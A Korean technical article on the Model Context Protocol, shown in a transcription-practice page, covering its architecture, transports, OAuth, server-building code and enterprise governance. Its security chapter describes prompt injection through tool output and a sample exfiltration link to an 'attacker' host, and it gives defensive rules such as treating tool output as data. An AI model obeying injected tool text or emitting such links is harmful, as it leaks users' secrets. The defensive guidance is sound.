Skip to content

✍️ 필사 모드: MCP (Model Context Protocol) 완전 해부: 스펙, 전송, 보안, 서버 만들기, 엔터프라이즈 (2025)

한국어
0%
정확도 0%
💡 왼쪽 원문을 읽으면서 오른쪽에 따라 써보세요. Tab 키로 힌트를 받을 수 있습니다.

Season 4 Ep 5 — Ep 3에서 잠깐 지나갔던 MCP. 2025년 기준 거의 모든 에이전트 프레임워크가 MCP를 얘기한다. 왜 이게 표준이 되는지, 어떻게 작동하는지, 어떻게 만들고 어떻게 지킬지.

Prologue — "M x N 문제"의 해결책

2024년 초까지, LLM 애플리케이션과 도구의 연결은 각자 독자 규격이었다.

  • ChatGPT 플러그인: OpenAPI 기반 독자 사양
  • LangChain Tool: Python/JS 클래스
  • Claude Tool use: Anthropic 스키마
  • Ollama, vLLM, …

M개 LLM × N개 도구 = M×N 통합 코드. M, N이 커질수록 팀들은 같은 GitHub 연동을 각각 새로 짰다.

2024년 11월, Anthropic이 **Model Context Protocol (MCP)**을 공개했다. 핵심은 단순하다.

LLM 애플리케이션 ↔ 외부 도구·데이터 소스 사이의 표준 프로토콜.

USB-C가 전원·데이터·영상·오디오의 커넥터를 통일한 것처럼, MCP는 "LLM이 외부 세계와 얘기하는 방법"을 통일했다. 2025년 현재 Anthropic·OpenAI·Google·Microsoft·주요 IDE·수백 개 오픈소스 서버가 MCP를 지원한다.


1장 · 핵심 개념

1.1 Client · Server · Host

[Host Application]: Claude Desktop, Claude Code, Cursor, VS Code
   ├── [MCP Client][MCP Server A]: GitHub MCP
   ├── [MCP Client][MCP Server B]: Filesystem MCP
   └── [MCP Client][MCP Server C]: Slack MCP
  • Host: LLM이 실행되는 앱 (IDE, 데스크톱 앱, 커스텀 앱)
  • Client: Host 안에서 서버 한 곳과 연결을 맡는 단위
  • Server: 특정 도구·데이터 소스를 MCP로 노출하는 프로세스

Host는 여러 Client를 동시에 가질 수 있다(= 여러 서버 붙이기). 서버는 독립적으로 배포 가능.

1.2 JSON-RPC 2.0 기반

메시지 형식은 JSON-RPC 2.0. 요청/응답/알림 세 종류.

{
  "jsonrpc": "2.0",
  "id": 1,
  "method": "tools/call",
  "params": { "name": "search_issues", "arguments": { "q": "bug" } }
}

1.3 기능 레이어

  • Resources: 서버가 제공하는 읽기 가능 데이터 (파일, 쿼리 결과 등)
  • Tools: 서버가 제공하는 실행 가능 기능 (함수 호출)
  • Prompts: 서버가 제공하는 재사용 프롬프트 템플릿
  • Sampling: 서버가 Host에게 LLM 호출을 요청하는 역방향 기능 (서버 내 에이전트)

1.4 Capability 협상

세션 시작 시 initialize로 양쪽 capability를 선언. 서버가 Resources를 지원하는지, Host가 Sampling을 수락할지 등.


2장 · 전송 계층 (Transport)

2.1 stdio

프로세스 표준 입출력으로 JSON-RPC 메시지 주고받기.

  • 로컬 서버 실행에 최적 (Claude Desktop이 처음부터 채택)
  • 빠르고 단순
  • 단점: 원격 분리 어려움, 수명이 Host에 종속

2.2 HTTP + SSE (구 방식)

  • HTTP POST로 서버에 요청
  • Server-Sent Events(SSE)로 응답 스트리밍
  • 2024년 초기 스펙, 이후 보안·멀티플렉싱 이슈로 지양

2.3 Streamable HTTP (2025 주류)

  • 단일 HTTP 엔드포인트로 request/response + streaming
  • POST 요청에 Accept: text/event-stream 등으로 스트리밍 응답
  • 프록시·로드밸런서 친화, 클라우드 배포에 적합
  • 인증(OAuth 2.1, Bearer) 자연스럽게 결합

신규 MCP 서버는 Streamable HTTP를 우선 채택하는 게 2025년 관례.

2.4 선택 가이드

배포 형태권장 전송
사용자 로컬 바이너리stdio
사내 SaaS 연결Streamable HTTP
퍼블릭 클라우드 서비스Streamable HTTP + OAuth
단기 실험·데모stdio

3장 · Tools · Resources · Prompts · Sampling

3.1 Tools

모델이 호출할 "함수"를 서버가 노출.

{
  "name": "github.create_issue",
  "description": "Create an issue in a GitHub repository.",
  "inputSchema": {
    "type": "object",
    "required": ["owner", "repo", "title"],
    "properties": {
      "owner": { "type": "string" },
      "repo":  { "type": "string" },
      "title": { "type": "string" },
      "body":  { "type": "string" }
    }
  }
}
  • Client가 tools/list로 조회 → 모델이 선택 → tools/call로 실행
  • 결과는 text / image / resource 형태

3.2 Resources

정적/동적 데이터를 URI로 노출.

resources/list
  -> [{ uri: "notes://personal/2025-04-15", name: "오늘의 메모", ... }, ...]

resources/read
  params: { uri: "notes://personal/2025-04-15" }
  -> { contents: [{ uri, text | blob, mimeType }] }

Tools와의 차이:

  • Tools = 실행 (동사)
  • Resources = 조회 (명사)
  • Host UI가 Resource를 "첨부할 수 있는 것"으로 노출하는 경우 많음

3.3 Prompts

서버가 제공하는 사용자용 프롬프트 템플릿.

prompts/list
  -> [{ name: "weekly_review", description: "주간 회고 생성", arguments: [...] }]

prompts/get
  params: { name: "weekly_review", arguments: { project: "Alpha" } }
  -> { messages: [{ role, content: { type: "text", text: "..." } }] }

Host에서 슬래시 명령(/weekly_review)처럼 노출되는 경우가 많다.

3.4 Sampling

서버가 Host에게 "이 프롬프트로 LLM 한 번 돌려줘"라고 요청.

  • 서버 내부에 에이전트 로직을 넣되, LLM 호출은 Host의 모델을 쓰게 함 → 비용·권한이 사용자 쪽
  • Host는 반드시 사용자 허용을 구현 (자동 실행 금지 권장)

4장 · 인증과 권한 (OAuth 2.1)

4.1 왜 OAuth 2.1

MCP의 원격 서버(Streamable HTTP)는 민감한 사내·SaaS 데이터에 접근한다. 따라서 표준 인증이 필수.

2025년 MCP는 OAuth 2.1 (PKCE 필수, implicit flow 제거)을 권장 표준으로 정비.

4.2 기본 흐름

Host(Client) → 인증 시작
브라우저 리다이렉트 → 사용자 로그인/동의
Authorization code + PKCE
Access Token (+ Refresh Token)
이후 MCP 호출 Authorization: Bearer <token>

4.3 Dynamic Client Registration

사용자가 어떤 Host를 쓸지 모르는 공개 MCP 서버는 동적 클라이언트 등록(RFC 7591)을 지원하는 것이 편리. Host가 처음 연결 시 자동으로 client_id를 발급받음.

4.4 Scope 설계

  • 최소 권한 원칙: 각 Tool/Resource가 어떤 scope을 요구하는지 명시
  • 사용자가 동의 화면에서 scope별로 on/off 가능하도록
  • 예: github:repo:read, github:issue:write, github:workflow:admin 등 세분화

4.5 토큰 수명·회전

  • Access Token 짧게 (15–60분), Refresh Token 별도
  • 사고 시 회전(rotation) 가능하도록 revoke 엔드포인트 제공

5장 · 대표 MCP 서버 — 2025 생태계

5.1 Anthropic 및 커뮤니티 공식

  • filesystem: 로컬 파일 읽기/쓰기
  • git: 로컬 Git 작업
  • github: 이슈, PR, 코드 검색
  • slack: 메시지 읽기/보내기
  • google-drive / gmail / calendar: 구글 워크스페이스
  • postgres / sqlite: SQL 질의
  • puppeteer / playwright: 브라우저 자동화
  • memory: 대화 간 기억 저장
  • time: 시간/타임존 유틸

5.2 제품 SaaS 공식 서버

  • Linear, Notion, Figma, Jira, Confluence, GitLab, Asana, Monday, Intercom, Stripe, Vercel, Supabase, AWS — 2025년에 대부분 공식/준공식 MCP 서버 제공
  • 인증은 OAuth 2.1 또는 개인 토큰

5.3 브라우저 MCP

  • Claude for Chrome extension: Chrome 탭을 MCP로 노출
  • Playwright MCP: 테스트·자동화용 브라우저 제어
  • Chrome DevTools MCP: 퍼포먼스·네트워크·콘솔 조사

브라우저 MCP의 공통 리스크: 링크 수상함 검증, 데이터 유출(export), 자동 클릭 제한 등 안전 정책 필수.

5.4 Computer-use MCP

  • claude computer-use: macOS 데스크톱 제어 (스크린샷, 키보드, 마우스)
  • 네이티브 앱 자동화·크로스 앱 워크플로우
  • 리스크: 화면 내 민감정보, 금전/거래 실행 등 — 가드레일 필요

5.5 한국 생태계

  • 카카오(카카오워크), 네이버(웍스), 토스 등 공식 MCP는 아직 제한적 (2025년 중반)
  • 대안: 각사 OpenAPI를 감싼 사내 MCP 서버 직접 구축

6장 · 직접 MCP 서버 만들기 (TypeScript)

6.1 프로젝트 스캐폴드

mkdir my-mcp-server && cd my-mcp-server
npm init -y
npm i @modelcontextprotocol/sdk zod

6.2 최소 예제

import { Server } from "@modelcontextprotocol/sdk/server/index.js";
import { StdioServerTransport } from "@modelcontextprotocol/sdk/server/stdio.js";
import { z } from "zod";

const server = new Server(
  { name: "demo-mcp", version: "0.1.0" },
  { capabilities: { tools: {} } }
);

server.tool(
  "add",
  "두 수를 더한다.",
  { a: z.number(), b: z.number() },
  async ({ a, b }) => ({
    content: [{ type: "text", text: String(a + b) }]
  })
);

const transport = new StdioServerTransport();
await server.connect(transport);

실행: node dist/index.js. Claude Desktop이나 Claude Code의 MCP 설정에 등록하면 add 툴이 보인다.

6.3 Resources 예

server.resource(
  "notes",
  "notes://list",
  async () => ({
    contents: [{
      uri: "notes://list",
      mimeType: "application/json",
      text: JSON.stringify(await listNotes())
    }]
  })
);

6.4 Streamable HTTP 전환

import { StreamableHttpServerTransport } from "@modelcontextprotocol/sdk/server/streamable-http.js";

const transport = new StreamableHttpServerTransport({
  // Express/Fastify 어댑터
});

6.5 운영 팁

  • 오류는 구조화({ error: { code, message, data } })
  • 모든 툴에 자체 rate limit (악성 호출 방지)
  • 로그: 요청 수, 사용자, 성공/실패, 지연 — 일반 서버처럼

7장 · Python MCP 서버

7.1 기본 예

from mcp.server import Server
from mcp.server.stdio import stdio_server

app = Server("demo-mcp")

@app.list_tools()
async def list_tools():
    return [{
        "name": "echo",
        "description": "문자열을 그대로 돌려준다",
        "inputSchema": {
          "type": "object",
          "properties": { "text": {"type": "string"} },
          "required": ["text"],
        },
    }]

@app.call_tool()
async def call_tool(name: str, arguments: dict):
    if name == "echo":
        return [{"type": "text", "text": arguments["text"]}]

async def main():
    async with stdio_server() as (r, w):
        await app.run(r, w, app.create_initialization_options())

7.2 FastMCP

더 간결한 파이썬 DSL.

from fastmcp import FastMCP

app = FastMCP("demo")

@app.tool()
def add(a: int, b: int) -> int:
    """두 수를 더한다"""
    return a + b

app.run()

FastMCP는 Streamable HTTP·인증 미들웨어를 기본 제공.


8장 · 보안 위협과 방어

8.1 주요 위협

  1. Malicious MCP server: 사용자가 잘못된 서버를 붙여서 내 데이터가 새는 경우
  2. Prompt injection via tool output: 서버가 돌려주는 텍스트에 "다음 툴을 실행해" 같은 지시가 섞이면 에이전트가 속아 실행
  3. Tool confusion: 비슷한 이름의 두 서버(공식 vs 사칭)가 붙어 선택을 헷갈림
  4. Credential theft: 서버가 OAuth 토큰을 로그에 남기거나 외부에 전송
  5. Exfiltration via URL: 결과에 ![](http://attacker/?x=secret) 같은 이미지 링크로 데이터 탈취
  6. Supply chain: NPM/PyPI의 MCP 서버 패키지 변조

8.2 방어 레이어

(a) 서버 신뢰

  • 공식 publisher/서명 여부 확인
  • 허용 목록(allowlist)만 설치 가능하도록
  • 설치 시 권한 스코프 사용자에게 명시적 동의

(b) 툴 출력의 취급

  • Host는 서버 응답의 지시성 내용을 "데이터"로 취급. 시스템 프롬프트에 명시.
  • 민감 작업(커밋, 삭제, 외부 전송)은 인간 승인 게이트

(c) 네트워크 경계

  • MCP 서버가 외부와 통신 시 egress allowlist (사내 방화벽)
  • URL에 임의의 쿼리스트링 포함 금지 정책

(d) 비밀 관리

  • 토큰은 환경변수나 비밀 저장소(Keychain, Vault), 파일 직접 저장 금지
  • 로그 마스킹(정규식으로 token-like 값 치환)

(e) 샌드박싱

  • filesystem MCP는 특정 경로만 노출
  • computer-use MCP는 앱 그룹별 tier 제한 (claude computer-use의 read/click/full 모델처럼)

8.3 엔터프라이즈 정책 예

- 공식 MCP 서버 + 사내 자체 서버만 허용
- 외부 서드파티 서버 설치는 보안팀 리뷰 필수
- OAuth 토큰은 사내 IdP 발급, scope별 승인
- 모든 tools/call 호출 로그 중앙 집계, 3090일 보관
- 금지 동작(결제, 외부 메일 발송 등)은 별도 approval API 경유

9장 · MCP vs OpenAPI vs Function calling

9.1 비교

관점OpenAPIFunction callingMCP
목적HTTP API 명세모델이 함수 호출모델 ↔ 툴·데이터 연결
범위API 단위단일 호출세션·Capability
Resources없음없음있음
Prompts없음없음있음
Sampling없음없음있음
재사용어플당 구현모델·SDK별범용 표준

9.2 관계

  • Function calling은 LLM API 레벨의 프리미티브
  • MCP는 Host ↔ Server 레벨의 프로토콜 (Function calling의 상위 계층)
  • OpenAPI 서버는 보통 MCP 서버로 래핑해서 제공 가능

즉 MCP가 Function calling을 대체하는 게 아니라, Function calling을 호출할 수 있는 툴 소스를 표준화하는 것.


10장 · 엔터프라이즈 도입

10.1 단계

  1. Pilot: 1–2개 서버(공식 GitHub, 사내 Jira MCP) + 엔지니어링팀 일부
  2. Expand: 사내 필수 도구 MCP화 (CRM, BI, DMS)
  3. Govern: 허용 목록, 로깅, 보안 리뷰 프로세스
  4. Platform: 내부 MCP 마켓플레이스(사내 포털)로 공유

10.2 거버넌스

  • 카탈로그: 사내 모든 MCP 서버 목록 + 오너 + 데이터 범위
  • 접근 제어: 부서/역할별로 접근 가능한 서버 세트
  • 감사: 누가 언제 어떤 서버에서 무엇을 했는지 로그 집계
  • 회귀/업그레이드: 서버 버전 관리, 주요 변경 시 팀별 공지

10.3 비용 모델

  • MCP 서버 자체는 가벼움 (Python/Node 프로세스)
  • 진짜 비용은 그 뒤의 LLM 호출과 SaaS API 사용료
  • Sampling 기능을 서버가 쓰면 사용자 Host의 LLM 크레딧 소비에 주의

10.4 한국 기업 사례

  • 대기업: 사내 OpenAPI를 MCP 서버로 감싸 Claude/Cursor에서 바로 사용
  • 스타트업: GitHub/Linear/Slack 공식 MCP + 자체 제품 MCP로 고객 지원 자동화
  • 공공: 망분리 환경에서 사내 MCP만 허용, 외부 인터넷 접근 차단

11장 · 개발자 UX — 실전 팁

11.1 Claude Desktop/Code에 등록

~/Library/Application Support/Claude/claude_desktop_config.json 같은 설정 파일에 서버 목록:

{
  "mcpServers": {
    "filesystem": {
      "command": "node",
      "args": ["/path/to/fs-mcp.js", "/Users/me/docs"]
    }
  }
}

11.2 Cursor / VS Code / JetBrains

  • Cursor는 GUI로 MCP 추가 가능 (2025년 정식 지원)
  • VS Code + Continue / Cline / Aider 등 확장도 MCP 소비자
  • JetBrains는 AI Assistant 플러그인이 MCP 흡수 진행 중

11.3 여러 서버 충돌 해결

같은 툴 이름이 겹치면 혼란. 관례:

  • 서버 이름을 prefix로 자동 부여 (github.create_issue, slack.send_message)
  • 설치 시 서버별 prefix 사용자 설정 가능

11.4 디버깅

  • mcp inspector 공식 툴: 브라우저 UI로 서버 붙여 요청·응답 관찰
  • JSON-RPC 로그를 파일로 덤프 → 이슈 재현
  • Host 측 trace와 결합해 "에이전트 → MCP → 외부 API"를 한 화면에

12장 · 안티패턴 10선

12.1 아무 MCP 서버나 설치

신뢰·서명 확인 없이는 설치 금지.

12.2 토큰을 코드에 하드코딩

누출 즉시 전파. 환경변수/Secrets Manager 사용.

12.3 한 서버에 툴 50개 몰기

모델의 선택 정확도 떨어짐 + UI 혼잡. 카테고리로 분리.

12.4 Sampling 자동 승인

비용·데이터 유출 위험. 반드시 사용자 확인.

12.5 stdio만 지원, 원격 배포 불가

팀 공유·클라우드 배포 막힘. Streamable HTTP 병행.

12.6 권한 scope 없음

"전권" 토큰. 최소 권한 원칙 위배.

12.7 툴 반환에 민감정보 원문

LLM 컨텍스트에 API key, PII가 노출.

12.8 OpenAPI 감싸기만 하고 도메인화 없음

"GET /v1/...?.." 그대로 노출하면 모델이 호출 못 함. 도메인 언어로 툴 네이밍.

12.9 감사 로그 없음

사고 시 "누가 뭘 했는지" 알 수 없음.

12.10 서버 업그레이드 시 마이그레이션 가이드 없음

Host 사용자들이 침묵의 고장.


13장 · 체크리스트 — MCP 서버 배포 전 12가지

  • 서버 이름·버전·설명 명확
  • 전송 계층 명시(Streamable HTTP 우선)
  • 모든 Tool에 inputSchema + description
  • 리턴 포맷 표준화 + 오류 포맷 정의
  • OAuth 2.1 + scope 설계 (원격 서버 시)
  • Rate limit·백오프 정책
  • 로그에 비밀값 마스킹
  • 감사 로그(사용자·시간·툴·인자 해시)
  • 민감 작업에 인간 승인 훅
  • 테스트: mcp inspector로 주요 시나리오 확인
  • 버저닝 정책(semver)과 변경 로그
  • 문서: Install 가이드, Troubleshooting, FAQ

14장 · 다음 글 예고 — Season 4 Ep 6: "LLM 평가 & 관측성"

MCP로 도구를 붙이고, RAG로 지식을 붙이고, Fine-tune으로 스타일을 고정해도 — **"정말 잘 작동하는지"**를 못 재면 모든 게 무용지물이다.

  • Eval harness: 오프라인/온라인, 자동/수동
  • LLM-as-judge: 장점과 치명적 단점
  • 회귀 방지 CI 설계
  • 관측성 3층: Trace, Span, Metric
  • 비용·지연 대시보드
  • 프로덕션 피드백 루프 (좋아요/싫어요 → 평가셋 복귀)
  • 에이전트·RAG·Fine-tune 각각의 평가 특수성
  • Arize Phoenix, LangSmith, LangFuse, Helicone, W&B 비교
  • 사고(incident) 대응 플레이북
  • 한국어·규제 환경에서의 관측성

"측정할 수 없으면 개선할 수 없다." 너무 자주 듣는 말이지만, LLM 제품에선 더 그렇다.

다음 글에서 만나자.


요약: MCP는 M×N 통합 비용을 M+N으로 줄이는 표준이다. Tools/Resources/Prompts/Sampling 네 축으로 LLM ↔ 외부를 연결하고, Streamable HTTP + OAuth 2.1로 안전하게 원격 배포하며, 서버·툴·권한을 최소 단위로 쪼개서 운영한다. 2025년엔 "MCP 지원 없는 에이전트 프레임워크는 시대에 뒤처짐"이라는 인식이 굳어졌다. 직접 서버를 만드는 건 하루면 되지만, 엔터프라이즈에 안전하게 배포하려면 카탈로그·감사·거버넌스가 그 다음의 진짜 과제.

현재 단락 (1/291)

2024년 초까지, LLM 애플리케이션과 도구의 연결은 각자 독자 규격이었다.

작성 글자: 0원문 글자: 9,730작성 단락: 0/291